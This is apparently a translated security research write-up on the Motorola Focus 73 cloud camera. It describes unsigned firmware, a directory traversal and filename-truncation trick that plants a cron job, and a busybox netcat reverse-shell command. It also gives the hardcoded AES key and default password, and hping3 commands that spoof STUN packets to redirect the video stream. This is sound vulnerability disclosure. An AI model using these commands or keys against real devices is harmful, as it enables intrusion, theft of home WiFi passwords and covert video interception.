Introduction
In today’s world, who doesn’t need to guard against theft and intruders? Cloud security cameras have become increasingly popular. However, despite being labeled as “security” cameras, their actual security may not be very robust. The Motorola Focus 73 outdoor security camera is a case in point.
The Motorola Focus 73 camera is an outdoor security camera manufactured by Binatone. This series of cameras supports cloud connectivity through the Hubble service.
The Hubble service is based on Amazon EC2 instances, allowing users to remotely monitor the camera and receive alerts from it. However, the Hubble service is subscription-based, requiring users to pay monthly for access.
The following reverse engineering analysis aims to reveal the numerous security issues present in this camera. It can be compromised without needing access to the local network, allowing attackers to obtain the password for the home WiFi network, take control of the camera, and even redirect the video stream to a server set up by the hacker.
Hardware Analysis
Disassembling the Motorola Focus 73 camera reveals that it uses a Nuvoton (新塘) ARM9 SoC (N329x) with an N79E814AT20 CPU, connected via a 15-pin GPIO interface. Additionally, there is a micro switch that allows the camera to be found during setup.
The PCB connects to a motorized gimbal that can rotate left and right, but is blocked at 90° positions, allowing a total rotation of 180°. This rotation can be controlled via an API, which adjusts the camera’s lens orientation and angle.
For network connectivity, this camera can connect via 802.11 wireless networks or Ethernet. The LED light above the lens indicates system status and can be controlled via preset commands. The LED remains on during operation and blinks when transmitting video streams or detecting anomalies in front of the lens.
Software Configuration
The mobile application that accompanies the camera is called Hubble and can be downloaded for free from app stores. This application serves as the entry point for camera setup and requires a Hubble account for login.
This application is also the only “official” method for configuring the camera and supporting the addition of more IP cameras through standard APIs.
During the application installation process, users are prompted to connect the camera via Ethernet or press the “pair” button on the camera to enter host mode, enabling an open wireless network (without a password). The application will then scan for a network named “CameraHD-[MAC address]” and prompt the user to connect.
This camera also provides some unfiltered network services, including RTSP—a custom internal messaging service—and two internal web services (nuvoton and busybox, web server), one of which actually offers firmware upgrades, although this is a hidden feature.
When the application connects to the open hotspot, it also sends a request to the nuvoton web service, scanning for wireless networks using the Linux iwlist command. The scan results are returned in XML format to the application, allowing users to select their network from the list.
After selecting the appropriate wireless network and entering the WiFi password, the application will broadcast an unencrypted message over the open network using basic HTTP authentication (e.g., username “camera”, password “000000”).
This HTTP authentication appears outdated and is no longer commonly used—this situation is quite prevalent in such devices. Pages like /routersetup.html are considered quite primitive.
First, the application must configure communication with the camera through the Hubble cloud service. This entire process is conducted via a REST API under a TLS protocol, which is prepared for commands, alerts, and real-time video stream server connections.
Real-time video is somewhat complex: the mobile application sends data to the Hubble server, which initializes the video stream session.
To send commands to the camera, the Hubble server needs to locate the camera on the internet and create an inbound connection through the firewall of the camera’s network.
In simpler terms, once the configuration between the application and server is complete, the application and server establish video communication. The application submits a command to establish a connection, and the server connects to the application through the firewall. The traditional method for creating inbound connections through NAT routers should be done using the STUN protocol.
STUN is a network protocol that allows clients behind NAT (or multiple NATs) to discover their public address and establish UDP communication between two hosts behind NAT routers.
The camera sends regular heartbeat information to the Hubble server, informing it of its current external IP address and the listening UDP port, while also allowing the firewall to permit such temporary connections (lasting 120 seconds).
The STUN protocol between the application and server is indeed quite practical. The camera maintains the open UDP port of the NAT router through regular STUN heartbeat messages. These heartbeat messages also serve as a means for the camera to receive ad-hoc commands from Hubble.
For example, the command “start streaming video” is a typical command that is sent in an AES-encrypted format to the STUN client, which then decrypts it using a local key and forwards it to the local web service via cURL.
The local web server then runs a local script to generate a random URL during video streaming—this URL is hardcoded for the remote video server’s IP address.
This URL is then returned to the cURL client and sent back to Hubble and ultimately to the application via encrypted STUN information. Once the application receives this public URL, it can connect to the video server and receive the video data UDP stream. The encoded URL can also be accessed directly by other clients.
Firmware
The manufacturer has not publicly advertised any firmware upgrades, but like many IoT devices, there is indeed a feasible method for upgrading the firmware, although it is somewhat hidden—firmware upgrades can be performed via a private URL.
Where does this private URL come from? It’s not too difficult; the application contains strings that include part of the URL. By guessing the remaining part based on the product model and firmware version, one can figure it out.
In fact, we also discovered a Linux compressed filesystem named “skyeye,” written by the Hong Kong camera company Civision. By this guessing method, we were able to obtain more firmware versions, including historical and development versions.
The Civision firmware includes /bin, /etc, and /lib folders, but this firmware is not a complete Linux system. The firmware itself is mounted at the /mnt/skyeye mount point. Core binaries like busybox are not included, as these parts belong to the Nuvoton system—Nuvoton does not have an upgrade mechanism, so it contains many outdated binaries, some of which are over 10 years old.
From the firmware, it is easy to observe that scripts and configuration files show traces of other model IP cameras, such as switch statements for the Focus camera family. This indicates that the firmware was not specifically designed for this camera product.
This approach is likely intended to save development costs. Manufacturers only need to configure specific models for this firmware, which can be defined in text files.
The web service part is located at /mnt/skyeye/mlswwwn/, using haserl CGI scripts to directly pass HTTP form parameters to the shell environment for functions like retrieving logs and upgrading firmware. This area can be exploited by scripts.
Malicious Firmware Upgrade
As mentioned earlier, there are actually two web services in the system. These two web services are located in the same folder (/mnt/skyeye/mslwwwn/), with port numbers 80 and 8080, respectively.
The latter is a busybox httpd—like other general httpds, it restricts access to specific files such as executable files or scripts under /cgi-bin/.
However, the problem is that the Nuvoton web service on port 80 has no such restrictions. Therefore, what cannot be viewed on port 8080 can be fully accessed on port 80, including ELF binary files—these files provide very valuable information, including architecture (ARM32 LE) and execution environment.
Among these files, one particularly interesting file is named haserlupgrade.cgi. This file is actually needed for the firmware upgrade process. Since the firmware itself is not encrypted or signed, we can modify it to create an independent backdoor: <% $FORM_run %>.
As a result, we can upload the modified firmware via http://[IP]:8080/fwupgrade.html, allowing us to execute various commands.
Directory Traversal and Command Injection
As mentioned above, we discovered a vulnerability in the haserlupgrade CGI script, a typical directory traversal vulnerability. The script (running as root) retrieves the compressed firmware image and moves it to a specified location outside the webroot.
The tragedy is that this process does not validate the filenames in the form, so both “new_firmware.tgz” and “../../../mnt/skyeye/etc/cron/root” are valid.
We constructed the same script in a testing environment and confirmed that due to haserl not validating input, the directory traversal vulnerability indeed exists. However, the problem is that regardless of where the firmware is placed in the filesystem, it will be removed. By the way, if we overwrite core files (like /bin/busybox), we can brick the device—considering this is a security camera, achieving this is quite significant…
In fact, it is normal for the firmware upgrade process to automatically delete firmware files after completion. We continued to check other scripts and discovered an interrupt call for the “fwupgrade” binary (16 lines) when loaded into the IDA disassembler.
This binary reads 128 bytes from /mnt/cache/new_fwupgrade upon receiving a SIGUSR1 interrupt, then uses that as the firmware filename. It then performs the firmware upgrade via a shell script, and after completion, deletes the firmware file.
Here, the firmware filename is read from the 128 bytes—this means the firmware filename can be quite long, and the process can be interrupted midway, so the uploaded file will not be deleted—because when interrupted, the filename obtained is still incomplete.
We manipulated the filename back and forth until it exceeded 128 bytes. The system ultimately placed our file in the “cron” folder, which is read and executed every minute. These repeated folder names can be replaced with random characters until they exceed 128 bytes.
Based on this, we can use busybox to create a reverse shell every minute:
/bin/busybox nc 10.45.3.100 1664 -e /bin/sh
The cron execution cycle is 60 seconds, and during the wait, we saw the following page. This is a progress display page showing our chosen filename and file size, which seems quite amusing. Since this device has no firewall, we can actually use any port number.
Having gained root access to the camera, cracking the root password is no longer important, but using a tool like John can still reveal it, with the password being “123456”; we also learned about lower-privileged user accounts like FTP, but this is no longer significant.
Digging deeper, we also found something interesting in the /tmp/wpa.conf file: the plaintext WiFi password (yes, the home network WiFi password).
Additionally, we discovered the factory wireless credentials for Civision’s security testing network, which are applied after resetting to factory settings.
Moreover, this camera product runs some interesting GPLv2 open-source software. The Nuvoton web service’s statement regarding this SoC mentions: “The open-source code environment makes product development more flexible.” The performance of the Nuvoton web service is quite similar to MJPG streaming, but with additional features for remote control.
From the strings, it appears that the STUN client uses the PJNATH library, but there should also be functional extensions (C&C within STUN information).
Running the “ps” command on the camera reveals numerous msloader threads, which control the camera’s core functions, alerts, commands, and controls.
Msloader is quite complex, which may lead to memory leak issues, as evidenced by the actions in the cron folder causing msloader to restart, and the restart times are quite regular, occurring in the morning. We certainly won’t disclose the exact restart times; exploiting this issue to launch an attack should not require much technical skill.
Details in the device logs are truly tragic, such as the AES key for remote control STUN information and FTP credentials for video clip storage. The listed error messages also confirm our suspicions that the open-source PJNATH library was used.
Even more tragically, the log files can be downloaded from the web interface, albeit encrypted (/bin/cryto). The encryption uses Linux’s crypto API with a hardcoded AES key: Cvision123459876. This means that via :8080/cgi-bin/logdownload.cgi, any stranger can obtain the log files and remote command keys.
Remote STUN Attack
As previously mentioned, this camera uses the STUN protocol to communicate with the Hubble server. Analyzing the STUN packets reveals a 16-byte IV (initialization vector) and a segment of AES-encrypted data. We already have the AES key stored on the device and the IV from the packet, allowing us to easily decrypt the command data.
The data in the STUN information is used to obtain encrypted commands from the “cloud,” such as “start recording,” “change video server,” “move left,” and “reboot.”
Since we can decrypt such information, various controls over the camera become feasible (modifying the original AES key to tamper with the packet and re-encrypting it to construct a new packet).
On the camera side, the encrypted data is essentially just web commands (parsed using the STUN library, passed to the HTTP server via cURL, and then executed).
In our in-depth study of this mechanism, we also discovered that it is entirely possible to re-execute previous STUN information, as there is no timeout limit for the encrypted commands. Clearly, from the analysis above, the AES key is the primary security mechanism preventing remote attacks.
There is a binary file named camregister in the device, which has a conventional method for obtaining the device’s AES key. Camregister handles the initial configuration of the camera and connects to the Hubble server using SSL. It sends an HTTP POST request containing the MAC address, firmware version, UDID, and other details.
Subsequently, it receives the AES key from Hubble and saves it to the device. The key is then verified through a GET API request, completing the registration process. During this process, the AES key is generated on the Hubble server, making it unlikely to replace this process.
Since we encountered obstacles, we attempted to trace the STUN information again. To ensure the STUN session remains active, the UDP port on the NAT router’s WAN interface must be kept open. Further analysis of the STUN library revealed that the encrypted data sent to the internal web server is not validated. If we had more time, we would consider analyzing the feasibility of remote access (as the encrypted STUN information lacks input validation).
Blind Remote Attack
If an attacker has obtained the AES key (via the local logdownload.cgi or through a Hubble GET API key request), they can fully control this camera.
To demonstrate this, we wrote a simple Python script that can generate valid encrypted commands. We then used hping3 to spoof the Hubble STUN server from outside the NAT router. Of course, most ISPs would not allow this, so we tested it using the WAN Ethernet interface of a popular NAT router.
The camera itself is set to masquerade as a wireless client within the internal IP range (192.168.0.0/24). All responses to STUN commands will return to Hubble; if they cannot be intercepted, a command must be sent to elicit a response, conducting what is known as a blind attack. We indeed found such a command.
The API commands “set_wowza_server&value=(ip)” and “start_rtmp&value=1” can be used to redirect RTMP video streams to your own server. We used the open-source video service Red5. If the blind attack is successful, it can redirect the TCP video stream to the server on port 1935.
python stunning.py "set_wowza_server&value=10.45.3.100" > stunpacket
hping3 10.45.3.62 --udp -V -p 50610 --spoof stun.hubble.in -s 3478 --file stunpacket --data $(stat -c%s stunpacket) -c 1
During the construction of this script, we also found that the STUN client is not picky at all; it accepts invalid packets or packets containing Unix special characters and non-command URLs, so you can encrypt and send various HTTP GET requests, and it will accept them all.
CSRF Attack
If the AES key has not been obtained, CSRF attacks can still be conducted to gain control via JavaScript.
We specifically created a JavaScript script to automatically scan camera information, executing the aforementioned cron actions via xmlhttprequest, then obtaining root privileges, executing reverse shell commands, and uploading our own resolv.conf DNS file to control DNS and intercept all alerts.
Due to the browser’s cross-origin resource sharing restrictions, this would normally not be possible, but cross-origin resource sharing restrictions do not prevent us from sending data (HTTP POST) to other domains. The browser’s error console will display security information, reporting that some content was blocked, but the goal has already been achieved.
If someone views that page, the situation can be imagined.
Once we gain control of the camera, we can modify the DNS configuration file (/etc/resolv.conf) to point to our own web server instead of the cloud’s upload1.hubble.in, allowing us to receive JPEG alert images and FLV video content, which is typically only available to Hubble’s paying users.
The media is sent in an unencrypted form via HTTP POST to /v1/uploads/snap.json or /v1/uploads/clip.json, and we created a PHP script to handle these media file uploads and storage, which we can examine in detail when we have time…
Conclusion
For those designing smart devices, we recommend establishing comprehensive security guidelines first, such as input validation, boundary checks, access control, and authentication. Encrypted communication is indeed meaningful, but if the key itself is not secure, then everything is in vain.
Keys should be well protected, not left in logs or set by untrusted entities. If encryption is to be performed on a certain interface, then sensitive information should not be decrypted or transmitted through unencrypted interfaces; otherwise, it becomes meaningless.
Some basic security principles must be adhered to, such as least privilege and defense in depth. Firmware should also be signed or encrypted to resist malicious firmware uploads or tampering. Failing to do so not only poses security risks to users but also adversely affects the business of the enterprise.
For instance, the camera we discussed was originally intended to charge a service fee monthly, but this revenue model has been compromised. Additionally, open-source firmware can sometimes be quite unreliable.
*Source: contextis, submitted by 饭团君, please credit FreeBuf hackers and geeks (FreeBuf.COM) when reprinting.